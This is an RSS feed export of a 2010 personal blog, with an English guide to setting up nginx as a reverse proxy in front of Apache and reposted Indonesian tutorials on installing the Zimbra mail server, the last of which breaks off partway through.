<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Em44y's Blog</title>
	<atom:link href="http://wakemeat.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://wakemeat.wordpress.com</link>
	<description>Better...Life</description>
	<lastBuildDate>Sun, 14 Mar 2010 17:47:29 +0000</lastBuildDate>
	<language>id</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='wakemeat.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Em44y's Blog</title>
		<link>http://wakemeat.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://wakemeat.wordpress.com/osd.xml" title="Em44y&#039;s Blog" />
	<atom:link rel='hub' href='http://wakemeat.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Speeding up dynamic websites via an nginx proxy</title>
		<link>http://wakemeat.wordpress.com/2010/03/15/speeding-up-dynamic-websites-via-an-nginx-proxy/</link>
		<comments>http://wakemeat.wordpress.com/2010/03/15/speeding-up-dynamic-websites-via-an-nginx-proxy/#comments</comments>
		<pubDate>Sun, 14 Mar 2010 17:47:29 +0000</pubDate>
		<dc:creator>em44y</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://wakemeat.wordpress.com/2010/03/15/speeding-up-dynamic-websites-via-an-nginx-proxy/</guid>
		<description><![CDATA[Many of us are familiar with the use of Apache for hosting websites. It might not be the fastest webserver but it is extraordinarily popular, extremely flexible, and a great choice for most people. However there are times when it can struggle, and placing a proxy in front of it can be useful. nginx is [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wakemeat.wordpress.com&amp;blog=5811915&amp;post=94&amp;subd=wakemeat&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Many of us are familiar with the use of Apache for hosting websites. It might not be the fastest webserver but it is extraordinarily popular, extremely flexible, and a great choice for most people. However there are times when it can struggle, and placing a proxy in front of it can be useful.</p>
<p><a href="http://wiki.nginx.org/">nginx</a> is a very small, fast, and efficient HTTP server with a lot of built in smarts to allow it to work as a reverse proxy, and not just for HTTP, it also supports SMTP.</p>
<p><span id="more-94"></span></p>
<p>I&#8217;ve recently updated <i>this</i> site to change the way it works &#8211; as it has been struggling &#8211; and this brief introduction is mostly the documentation on the changes I made.</p>
<p>The site itself, like many, is made up of a mixture of static resources and dynamically generated content. In our case our dynamic content is produced <a href="http://www.debian-administration.org/Code/">a collection of Perl CGI scripts</a>. The changes described in this brief introduction to using <tt>nginx</tt> would apply to any site that had a mixture of static &amp; dynamic resources, so could apply equally well to a Ruby on Rails or PHP-based site.</p>
<p>Over the past couple of years I&#8217;ve noticed that Apache 2.x would perform well on an average day, but start to struggle and perform less well when under load. Apart from adding more memory to this host I wanted to change the setup to increase the number of connections and hits it could withstand.</p>
<p>My plan was:</p>
<ul>
<li>Leave Apache&#8217;s configuration as untouched as possible.
<ul>
<li>In case there were problems I wanted to be able to revert any changes easily.</li>
</ul>
</li>
<li>Leave Apache to serve all the dynamic content as it did currently.</li>
<li>Place a dedicated smaller, faster, and simpler HTTP server to serve static resources.
<ul>
<li>With the expectation that this would leave Apache to handle the rest of the traffic which it would be able to do without being so distracted.</li>
</ul>
</li>
</ul>
<p>There are a several ways this plan could have been executed and the two most obvious were:</p>
<dl>
<dt>Shifting Resources Elsewhere</dt>
<dd>
<p>We could split the serving of static resources by moving them. For example rather than serving and hosting http://www.debian-administration.org/images/logo.png we could move that to a different domain, such as http://images.debian-administration.org/logo.png.</p>
<p>We could have created another sub-domain &#8220;<TT>static.</TT>&#8221; to host any other content, such as CSS and Javascript files.</p>
<p>This would allow us to easily configure a second webserver to handle the static content (perhaps on a different host, but most likely on the same one). The downside to this approach would be the required updates to our site code, templates, and other files.</p>
</dd>
<dt>Introduce A Proxy</dt>
<dd>
<p>To avoid moving resources around, and the overhead this would entail, the most simple solution would be to place a proxy in front of Apache. This would examine the incoming HTTP request and dispatch it to either:</p>
<ul>
<li>Apache if it were a request for /cgi-bin/</li>
<li>Another dedicated server for all static resources (e.g. *.gif, *.png)</li>
</ul>
</dd>
</dl>
<p>The decision to use <tt>nginx</tt> was pretty simple, there are a few different proxies out there which are well regarded (including <a href="http://www.apsis.ch/pound/">pound</a> which we&#8217;ve previously introduced for <a href="http://www.debian-administration.org/article/Simple_webserver_load_balancing_with_pound">simple load-balancing</a>). <tt>nginx</tt> looked like the most likely candidate because it focuses upon being both a fast HTTP server and a proxy.</p>
<p>By working as a proxy and a HTTP server this cuts down the software we must use. Had we chosen a dedicated proxy-only tool we&#8217;d have needed to have three servers running:</p>
<ul>
<li>The proxy to receive requests.
<ul>
<li>Apache2 for serving the dynamic content.</li>
<li>HTTP server for static content.</li>
</ul>
</li>
</ul>
<p>With <tt>nginx</tt> in place we have a simpler setup with only two servers running:</p>
<ul>
<li><tt>nginx</tt> to accept requests and immediately serve static content.
<ul>
<li>Apache to receive the dynamic requests that <tt>nginx</tt> didn&#8217;t want to handle.</li>
</ul>
</li>
</ul>
<p><b>Installing <tt>nginx</tt></b></p>
<blockquote>
<p>The installation of <tt>nginx</tt> was as simple as we&#8217;d expect upon a Debian GNU/Linux host:</p>
<pre>aptitude install nginx
</pre>
<p>Once installed the configuration files are all be located beneath the directory <tt>/etc/nginx</tt>. As with the Debian apache2 packages you&#8217;re expected to place sites you&#8217;d like to be enabled into configuration files beneath a <tt>sites-enabled</tt> directory.</p>
<p>We&#8217;ll not dwell on the <tt>nginx</tt> configuration files too much &#8211; the main one is <tt>/etc/nginx/nginx.conf</tt> and is pretty readable and sensible. The only change we need to make is to remove the file <tt>/etc/nginx/sites-enabled/default</tt>.</p>
</blockquote>
<p><b>Configuring <tt>nginx</tt> &amp; <tt>apache2</tt></b></p>
<blockquote>
<p>Configuring <tt>nginx</tt> itself is very simple, and our actual setup will consist of two parts:</p>
<ul>
<li>Configuring <tt>nginx</tt> to listen upon port 80, and forward some requests to Apache.</li>
<li>Changing the Apache configuration so that it no longer listens upon *:80, instead another port will be used.</li>
</ul>
<p>Our site is comprised of two virtual hosts <a href="http://www.debian-administration.org/">our main main</a>, and <a href="http://planet.debian-administration.org/">our planet</a>. The latter site is by far the most simple one as it has no dynamic component to it, merely static files.</p>
<p>The setup of the static site consists of creating a configuration file for it at <tt>/etc/nginx/sites-available/planet.conf</tt> with the following content:</p>
<pre>#
#  planet-debian-administration.org is 100% static, so nginx can
# serve it all directly.
#
server {
	listen :80;

	server_name  planet.debian-administration.org;

        access_log   /home/www/planet.debian-administration.org/logs/access.log;

	root   /home/www/planet.debian-administration.org/htdocs/;
}
</pre>
<p>This is sufficient for <tt>nginx</tt> to serve the virtual host <tt>planet.debian-administration.org</tt> from the directory <tt>/home/www/planet.debian-administration.org/htdocs</tt> &#8211; and log incoming requests to an appropriate file.</p>
<p>The dynamic handling of our main site is a little more complex. The contents of the <tt>/etc/nginx/sites-enabled/d-a.conf</tt> configuration file I came up with look like this:</p>
<pre>#
#  This configuration file handles our main site - it attempts to
# serve content directly when it is static, and otherwise pass to
# an instance of Apache running upon 127.0.0.1:8080.
#
server {
	listen :80;

	server_name  www.debian-administration.org debian-administration.org;
        access_log  /var/log/nginx/d-a.proxied.log;

        #
        # Serve directly:  /images/ + /css/ + /js/
        #
	location ^~ /(images|css|js) {
		root   /home/www/www.debian-administration.org/htdocs/;
		access_log  /var/log/nginx/d-a.direct.log ;
	}

	#
	# Serve directly: *.js, *.css, *.rdf,, *.xml, *.ico, &amp; etc
	#
	location ~* \.(js|css|rdf|xml|ico|txt|gif|jpg|png|jpeg)$ {
		root   /home/www/www.debian-administration.org/htdocs/;
		access_log  /var/log/nginx/d-a.direct.log ;
	}

        #
        # Proxy all remaining content to Apache
        #
        location / {

            proxy_pass         http://127.0.0.1:8080/;
            proxy_redirect     off;

            proxy_set_header   Host             $host;
            proxy_set_header   X-Real-IP        $remote_addr;
            proxy_set_header   X-Forwarded-For  $proxy_add_x_forwarded_for;

            client_max_body_size       10m;
            client_body_buffer_size    128k;

            proxy_connect_timeout      90;
            proxy_send_timeout         90;
            proxy_read_timeout         90;

            proxy_buffer_size          4k;
            proxy_buffers              4 32k;
            proxy_busy_buffers_size    64k;
            proxy_temp_file_write_size 64k;
        }
}
</pre>
<p>This configuration file has several points of interest, but for full details you&#8217;ll need to consult the <a href="http://wiki.nginx.org/">nginx documentation</a>. The most obvious sections of interest are the rules which determine which content is handled directly by <tt>nginx</tt>.</p>
<p>You&#8217;ll see that we have two different rules:</p>
<ul>
<li>A rule which says anything beneath <tt>/images</tt> should be handled directly.</li>
<li>Another rule which says regardless of location <tt>*.png</tt> will always be handled directly.</li>
</ul>
<p>These rules might seem redundant but it is better to be explicit about our intentions. The rest of the file contains settings for the forwarding of all other requests to the local Apache instance &#8211; I made no changes to the sample configuration here.</p>
<p>The other point to note is that I log incoming requests to two files, depending on whether they were proxied to our Apache instance or handled directly. This isn&#8217;t really required but it gives an idea of which requests are going where.</p>
<p>With these two configuration files in place we&#8217;re almost done, we just need to ensure that Apache is no longer going to claim port 80 as its own. We do this by modifying <tt>/etc/apache2/ports.conf</tt> to read:</p>
<pre>NameVirtualHost *:8080
Listen 8080

&lt;IfModule mod_ssl.c&gt;
    # SSL name based virtual hosts are not yet supported, therefore no
    # NameVirtualHost statement here
    Listen 443
&lt;/IfModule&gt;
</pre>
<p>This will ensure that Apache binds to port 8080 and not port 80. We then make matching changes to our virtual host files. For example <tt>/etc/apache2/sites-enabled/debian-administration.org</tt>:</p>
<pre>#  Debian Administration domain.
#
&lt;VirtualHost *:8080&gt;
        ServerAdmin webmaster@debian-administration.org
        ServerName www.debian-administration.org
        DirectoryIndex index.cgi index.html

        DocumentRoot /home/www/www.debian-administration.org/htdocs/
        ...
        ...
</pre>
<p>With these changes in place we can switch to using our proxy:</p>
<pre>/etc/init.d/apache2 stop
/etc/init.d/nginx start
/etc/init.d/apache2 start
</pre>
<p>(We stop apache2 so that port 80 becomes available, then start nginx which will use that port, and finally restart apache2 so that it will be available on port 8080 such that nginx can talk to it.)</p>
<p><b>Note</b>: In this example Apache is listening on port 8080 on all IPs rather than just 127.0.0.1:8080 &#8211; I later changed this.</p>
</blockquote>
<p><b>Problems Experienced</b></p>
<blockquote>
<p>Once deployed there were two problems which were initially apparent:</p>
<ul>
<li>Lack of IPv6 support.</li>
<li>Incorrect IP addresses being logged.</li>
</ul>
<p>Unfortunately the version of <tt>nginx</tt> available in the Lenny release of Debian did not contain any IPv6 support &#8211; which was a real shame as we&#8217;ve been running upon IPv6 for quite some time now. (About 3% of our visitors use native IPv6, including myself, and I didn&#8217;t want to lose them.)</p>
<p>The solution to the IPv6 problem was to backport the package available in Debian&#8217;s unstable distribution (a painless process). Once this was done the <tt>nginx</tt> configuration file could be updated to read:</p>
<pre>  # Listen on both IPv6 &amp; IPv4.
  listen [::]:80;
</pre>
<p>The second problem was related to how Apache received all connections from the outside world via our local host via <tt>nginx</tt>. This meant it would believe each incoming request was made from the IP address <tt>127.0.0.1</tt>.</p>
<p>Happily there was a very simple solution to this problem, the <a href="http://packages.debian.org/libapache2-mod-rpaf">libapache2-mod-rpaf</a> module for Apache 2.x which will allow the real IP address to be visible to our side, and the logfiles.</p>
<p>The RPAF module takes the IP address which initiated the original connection, and which <tt>nginx</tt> placed in a <tt>X-Forwarded-For</tt> header, and ensures this IP address is available to our dynamic scripts &amp; apache logfiles.</p>
<p>Applying this solution was as simple as:</p>
<pre>aptitude install libapache2-mod-rpaf
a2enmod rpaf
/etc/init.d/apache2 force-reload
</pre>
<p>Once this was done our incoming connections were logged correctly, and our code would see the <i>real</i> IP address for each connection rather than the loopback address of the proxy host.</p>
</blockquote>
<p><b>Potential Changes</b></p>
<blockquote>
<p>As you can see from the posted configuration files all incoming requests on port 80 will be either handled directly or proxied &#8211; but I made no changes to the handling of port 443, or SSL requests.</p>
<p>We&#8217;ve offered SSL for a significant length of time but few visitors use it, so I elected to leave this setup as-is.</p>
<p>If the situation changes then <tt>nginx</tt> will be updated to proxy SSL requests too &#8211; it has support for this, as a perusal of the documentation will suggest.</p>
</blockquote>
<p>So far it is too early to tell if this solution has increased our scalability, but I&#8217;m very optimistic. Resource usage has certainly fallen and the combination of <tt>nginx</tt> and <tt>apache</tt> is a good one that isn&#8217;t too complex.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/wakemeat.wordpress.com/94/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/wakemeat.wordpress.com/94/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/wakemeat.wordpress.com/94/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/wakemeat.wordpress.com/94/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/wakemeat.wordpress.com/94/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/wakemeat.wordpress.com/94/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/wakemeat.wordpress.com/94/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/wakemeat.wordpress.com/94/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/wakemeat.wordpress.com/94/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/wakemeat.wordpress.com/94/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/wakemeat.wordpress.com/94/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/wakemeat.wordpress.com/94/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/wakemeat.wordpress.com/94/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/wakemeat.wordpress.com/94/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wakemeat.wordpress.com&amp;blog=5811915&amp;post=94&amp;subd=wakemeat&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://wakemeat.wordpress.com/2010/03/15/speeding-up-dynamic-websites-via-an-nginx-proxy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/938b6c163b3e5d8d2df542200a26ba89?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">em44y</media:title>
		</media:content>
	</item>
		<item>
		<title>Zimbra 6.0.5 pada SUSE Linux Enterprise Server (SLES) 11 64 bit(from vavai.com)</title>
		<link>http://wakemeat.wordpress.com/2010/03/13/zimbra-6-0-5-pada-suse-linux-enterprise-server-sles-11-64-bitfrom-vavai-com/</link>
		<comments>http://wakemeat.wordpress.com/2010/03/13/zimbra-6-0-5-pada-suse-linux-enterprise-server-sles-11-64-bitfrom-vavai-com/#comments</comments>
		<pubDate>Fri, 12 Mar 2010 18:07:41 +0000</pubDate>
		<dc:creator>em44y</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://wakemeat.wordpress.com/2010/03/13/zimbra-6-0-5-pada-suse-linux-enterprise-server-sles-11-64-bitfrom-vavai-com/</guid>
		<description><![CDATA[Kemarin sore saya menyempatkan diri membuat sebuah Xen Hypervisor Guest pada server dan mengisi SLES JEOS 64 bit dalam modus paravirtualization untuk digunakan sebagai media testing Zimbra Collaboration Suite 6.0.5. Selesai install, saya langsung mencoba instalasi Zimbra dengan urutan proses sebagai berikut : Melakukan modifikasi file /etc/hosts sehingga hasilnya seperti berikut ini : view sourceprint? [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wakemeat.wordpress.com&amp;blog=5811915&amp;post=93&amp;subd=wakemeat&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<div class="post">
<p><a class="highslide" href="http://vavai.com/wp-content/uploads/2010/02/zimbra-logo3.jpg"><img class="alignright size-full wp-image-673" title="zimbra-logo" height="105" alt="" src="http://vavai.com/wp-content/uploads/2010/02/zimbra-logo3.jpg" width="320" /></a></p>
<p>Kemarin sore saya menyempatkan diri membuat sebuah Xen Hypervisor Guest pada server dan mengisi SLES JEOS 64 bit dalam modus paravirtualization untuk digunakan sebagai media testing Zimbra Collaboration Suite 6.0.5. Selesai install, </p>
<p><span id="more-93"></span></p>
<p>saya langsung mencoba instalasi Zimbra dengan urutan proses sebagai berikut :</p>
<ol>
<li>Melakukan modifikasi file <strong>/etc/hosts</strong> sehingga hasilnya seperti berikut ini :
<div class="syntaxhighlighter " id="highlighter_791667">
<div class="bar">
<div class="toolbar"><a class="item viewSource" title="view source" style="width:16px;height:16px;" href="http://vavai.com/2010/02/10/zimbra-6-0-5-pada-suse-linux-enterprise-server-sles-11-64-bit/#viewSource">view source</a><a class="item printSource" title="print" style="width:16px;height:16px;" href="http://vavai.com/2010/02/10/zimbra-6-0-5-pada-suse-linux-enterprise-server-sles-11-64-bit/#printSource">print</a><a class="item about" title="?" style="width:16px;height:16px;" href="http://vavai.com/2010/02/10/zimbra-6-0-5-pada-suse-linux-enterprise-server-sles-11-64-bit/#about">?</a></div>
</div>
<div class="lines">
<div class="line alt1"><code class="number">1.</code><span class="content"><span class="block" style="margin-left:0 important;"><code class="plain">127.0.0.1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; localhost</code></span></span></div>
<div class="line alt2"><code class="number">2.</code><span class="content"><span class="block" style="margin-left:0 important;"><code class="plain">192.168.0.31&nbsp;&nbsp;&nbsp; mail.namadomain.co.id mail</code></span></span></div>
</div>
</div>
</li>
<li>Tambahkan aplikasi sysstat menggunakan YAST | Software | Software Management atau menggunakan Zypper. Sebenarnya masih ada paket lain yang dibutuhkan seperti cron, fetchmail dll, namun modus instalasi text mode/server mode yang saya lakukan sudah secara langsung memasukannya. Kalau ada paket lain yang belum ada biasanya Zimbra komplain pada saat hendak memulai proses instalasi.
<div class="syntaxhighlighter " id="highlighter_848636">
<div class="bar">
<div class="toolbar"><a class="item viewSource" title="view source" style="width:16px;height:16px;" href="http://vavai.com/2010/02/10/zimbra-6-0-5-pada-suse-linux-enterprise-server-sles-11-64-bit/#viewSource">view source</a><a class="item printSource" title="print" style="width:16px;height:16px;" href="http://vavai.com/2010/02/10/zimbra-6-0-5-pada-suse-linux-enterprise-server-sles-11-64-bit/#printSource">print</a><a class="item about" title="?" style="width:16px;height:16px;" href="http://vavai.com/2010/02/10/zimbra-6-0-5-pada-suse-linux-enterprise-server-sles-11-64-bit/#about">?</a></div>
</div>
<div class="lines">
<div class="line alt1"><code class="number">1.</code><span class="content"><span class="block" style="margin-left:0 important;"><code class="plain">zypper in sysstat</code></span></span></div>
</div>
</div>
</li>
<li>Melakukan setting DNS agar A dan MX records mengarah ke calon server Zimbra. <a href="http://vavai.com/2010/02/08/instalasi-zimbra-5-0-21-pada-opensuse-11-2-32-bit-bagian-kedua/">Klik disini</a> untuk tutorial cara setting DNS Server lokal untuk keperluan Zimbra.</li>
<li>Menonaktifkan Postfix dengan perintah sebagai berikut :
<div class="syntaxhighlighter " id="highlighter_577069">
<div class="bar">
<div class="toolbar"><a class="item viewSource" title="view source" style="width:16px;height:16px;" href="http://vavai.com/2010/02/10/zimbra-6-0-5-pada-suse-linux-enterprise-server-sles-11-64-bit/#viewSource">view source</a><a class="item printSource" title="print" style="width:16px;height:16px;" href="http://vavai.com/2010/02/10/zimbra-6-0-5-pada-suse-linux-enterprise-server-sles-11-64-bit/#printSource">print</a><a class="item about" title="?" style="width:16px;height:16px;" href="http://vavai.com/2010/02/10/zimbra-6-0-5-pada-suse-linux-enterprise-server-sles-11-64-bit/#about">?</a></div>
</div>
<div class="lines">
<div class="line alt1"><code class="number">1.</code><span class="content"><span class="block" style="margin-left:0 important;"><code class="plain">service postfix stop</code></span></span></div>
<div class="line alt2"><code class="number">2.</code><span class="content"><span class="block" style="margin-left:0 important;"><code class="plain">chkconfig postfix off</code></span></span></div>
</div>
</div>
</li>
<li>Download file binary installer Zimbra
<div class="syntaxhighlighter " id="highlighter_376770">
<div class="bar">
<div class="toolbar"><a class="item viewSource" title="view source" style="width:16px;height:16px;" href="http://vavai.com/2010/02/10/zimbra-6-0-5-pada-suse-linux-enterprise-server-sles-11-64-bit/#viewSource">view source</a><a class="item printSource" title="print" style="width:16px;height:16px;" href="http://vavai.com/2010/02/10/zimbra-6-0-5-pada-suse-linux-enterprise-server-sles-11-64-bit/#printSource">print</a><a class="item about" title="?" style="width:16px;height:16px;" href="http://vavai.com/2010/02/10/zimbra-6-0-5-pada-suse-linux-enterprise-server-sles-11-64-bit/#about">?</a></div>
</div>
<div class="lines">
<div class="line alt1"><code class="number">1.</code><span class="content"><span class="block" style="margin-left:0 important;"><code class="plain">cd /opt</code></span></span></div>
<div class="line alt2"><code class="number">2.</code><span class="content"><span class="block" style="margin-left:0 important;"><code class="plain">wget -c http:</code><code class="comments">//h.yimg.com/lo/downloads/6.0.5_GA/zcs-6.0.5_GA_2213.SLES11_64.20100202233758.tgz</code></span></span></div>
</div>
</div>
</li>
<li>Ekstrak, masuk ke folder, jalankan script install dan ikuti wizard yang diberikan
<div class="syntaxhighlighter " id="highlighter_679053">
<div class="bar">
<div class="toolbar"><a class="item viewSource" title="view source" style="width:16px;height:16px;" href="http://vavai.com/2010/02/10/zimbra-6-0-5-pada-suse-linux-enterprise-server-sles-11-64-bit/#viewSource">view source</a><a class="item printSource" title="print" style="width:16px;height:16px;" href="http://vavai.com/2010/02/10/zimbra-6-0-5-pada-suse-linux-enterprise-server-sles-11-64-bit/#printSource">print</a><a class="item about" title="?" style="width:16px;height:16px;" href="http://vavai.com/2010/02/10/zimbra-6-0-5-pada-suse-linux-enterprise-server-sles-11-64-bit/#about">?</a></div>
</div>
<div class="lines">
<div class="line alt1"><code class="number">1.</code><span class="content"><span class="block" style="margin-left:0 important;"><code class="plain">tar -zxvf zcs-6.0.5_GA_2213.SLES11_64.20100202233758.tgz</code></span></span></div>
<div class="line alt2"><code class="number">2.</code><span class="content"><span class="block" style="margin-left:0 important;"><code class="plain">cd zcs-6.0.5_GA_2213.SLES11_64.20100202233758</code></span></span></div>
<div class="line alt1"><code class="number">3.</code><span class="content"><span class="block" style="margin-left:0 important;"><code class="plain">sh install.sh</code></span></span></div>
</div>
</div>
</li>
</ol>
<p>Instalasi berjalan lancar. Masalah status &amp; logger yang pernah terjadi di Zimbra 6.0.4 sudah fixed dan sejauh ini tidak ada masalah.</p>
<p><a class="highslide" href="http://vavai.com/wp-content/uploads/2010/02/zimbra605-sles64.jpeg"><img class="size-full wp-image-671 alignnone" title="zimbra605-sles64" height="455" alt="" src="http://vavai.com/wp-content/uploads/2010/02/zimbra605-sles64.jpeg" width="469" /></a></p>
<p><a class="highslide " href="http://vavai.com/wp-content/uploads/2010/02/zimbra605-status.jpeg"><img class="alignnone size-full wp-image-672" title="zimbra605-status" style="border-right:black 1px dotted;border-top:black 1px dotted;border-left:black 1px dotted;border-bottom:black 1px dotted;" height="245" alt="" src="http://vavai.com/wp-content/uploads/2010/02/zimbra605-status.jpeg" width="338" /></a></p>
</div>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/wakemeat.wordpress.com/93/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/wakemeat.wordpress.com/93/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/wakemeat.wordpress.com/93/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/wakemeat.wordpress.com/93/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/wakemeat.wordpress.com/93/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/wakemeat.wordpress.com/93/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/wakemeat.wordpress.com/93/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/wakemeat.wordpress.com/93/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/wakemeat.wordpress.com/93/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/wakemeat.wordpress.com/93/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/wakemeat.wordpress.com/93/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/wakemeat.wordpress.com/93/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/wakemeat.wordpress.com/93/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/wakemeat.wordpress.com/93/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wakemeat.wordpress.com&amp;blog=5811915&amp;post=93&amp;subd=wakemeat&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://wakemeat.wordpress.com/2010/03/13/zimbra-6-0-5-pada-suse-linux-enterprise-server-sles-11-64-bitfrom-vavai-com/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/938b6c163b3e5d8d2df542200a26ba89?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">em44y</media:title>
		</media:content>

		<media:content url="http://vavai.com/wp-content/uploads/2010/02/zimbra-logo3.jpg" medium="image">
			<media:title type="html">zimbra-logo</media:title>
		</media:content>

		<media:content url="http://vavai.com/wp-content/uploads/2010/02/zimbra605-sles64.jpeg" medium="image">
			<media:title type="html">zimbra605-sles64</media:title>
		</media:content>

		<media:content url="http://vavai.com/wp-content/uploads/2010/02/zimbra605-status.jpeg" medium="image">
			<media:title type="html">zimbra605-status</media:title>
		</media:content>
	</item>
		<item>
		<title>Instalasi Zimbra 5.0.21 pada openSUSE 11.2 32 bit Bagian Pertama(from vavai.com)</title>
		<link>http://wakemeat.wordpress.com/2010/03/13/instalasi-zimbra-5-0-21-pada-opensuse-11-2-32-bit-bagian-pertamafrom-vavai-com/</link>
		<comments>http://wakemeat.wordpress.com/2010/03/13/instalasi-zimbra-5-0-21-pada-opensuse-11-2-32-bit-bagian-pertamafrom-vavai-com/#comments</comments>
		<pubDate>Fri, 12 Mar 2010 18:06:09 +0000</pubDate>
		<dc:creator>em44y</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://wakemeat.wordpress.com/2010/03/13/instalasi-zimbra-5-0-21-pada-opensuse-11-2-32-bit-bagian-pertamafrom-vavai-com/</guid>
		<description><![CDATA[Tutorial berikut ini akan menjelaskan langkah demi langkah untuk melakukan instalasi Zimbra mail server versi 5.0.21 pada openSUSE 11.2 32 bit. Zimbra 5.0.21 adalah Zimbra versi paling update dari versi 5.x.x dan merupakan salah satu versi stabil selain versi 6.x.x. Pada kesempatan lain saya akan menjelaskan panduan instalasi dan konfigurasi Zimbra Mail Server versi 6.x.x [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=wakemeat.wordpress.com&amp;blog=5811915&amp;post=92&amp;subd=wakemeat&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><span class="postinfo"><span class="print"></span><span class="clear"></span></span></p>
<div class="post">
<p><a href="http://vavai.com/wp-content/uploads/2010/02/zimbra-opensuse1.jpg"><img class="alignright size-full wp-image-615" title="zimbra-opensuse1" height="125" alt="" src="http://vavai.com/wp-content/uploads/2010/02/zimbra-opensuse1.jpg" width="125" /></a></p>
<p>Tutorial berikut ini akan menjelaskan langkah demi langkah untuk melakukan instalasi Zimbra mail server versi 5.0.21 pada openSUSE 11.2 32 bit. Zimbra 5.0.21 adalah Zimbra versi paling update dari versi 5.x.x dan merupakan salah satu versi stabil selain versi 6.x.x.</p>
<p>Pada kesempatan lain saya akan menjelaskan panduan instalasi dan konfigurasi Zimbra Mail Server versi 6.x.x pada openSUSE 64 bit.</p>
<p><span id="more-92"></span></p>
<p><strong>PERSIAPAN &amp; INSTALASI SISTEM DASAR</strong></p>
<ol>
<li>Install openSUSE 11.2. Saya menggunakan using openSUSE 11.2 DVD sebagai media untuk install dan memilih <strong>Text mode (server installation mode)</strong> sebagai basis instalasi untuk menghindari instalasi aplikasi yang tidak diperlukan. Sesuai dengan namanya, text mode hanya akan menyediakan akses konsole. Jika anda lebih menyukai tampilan GUI (Windows) atau baru berpindah dari sistem Windows atau hendak mencoba Zimbra, silakan pilih desktop environment KDE, Gnome atau XFCE. Jika menggunakan tampilan text mode seperti yang saya lakukan, anda harus melakukan testing Zimbra pada komputer lain, karena Firefox tidak berjalan dalam modus teks <img class="wp-smiley" alt=":-P" src="http://vavai.com/wp-includes/images/smilies/icon_razz.gif" /> </li>
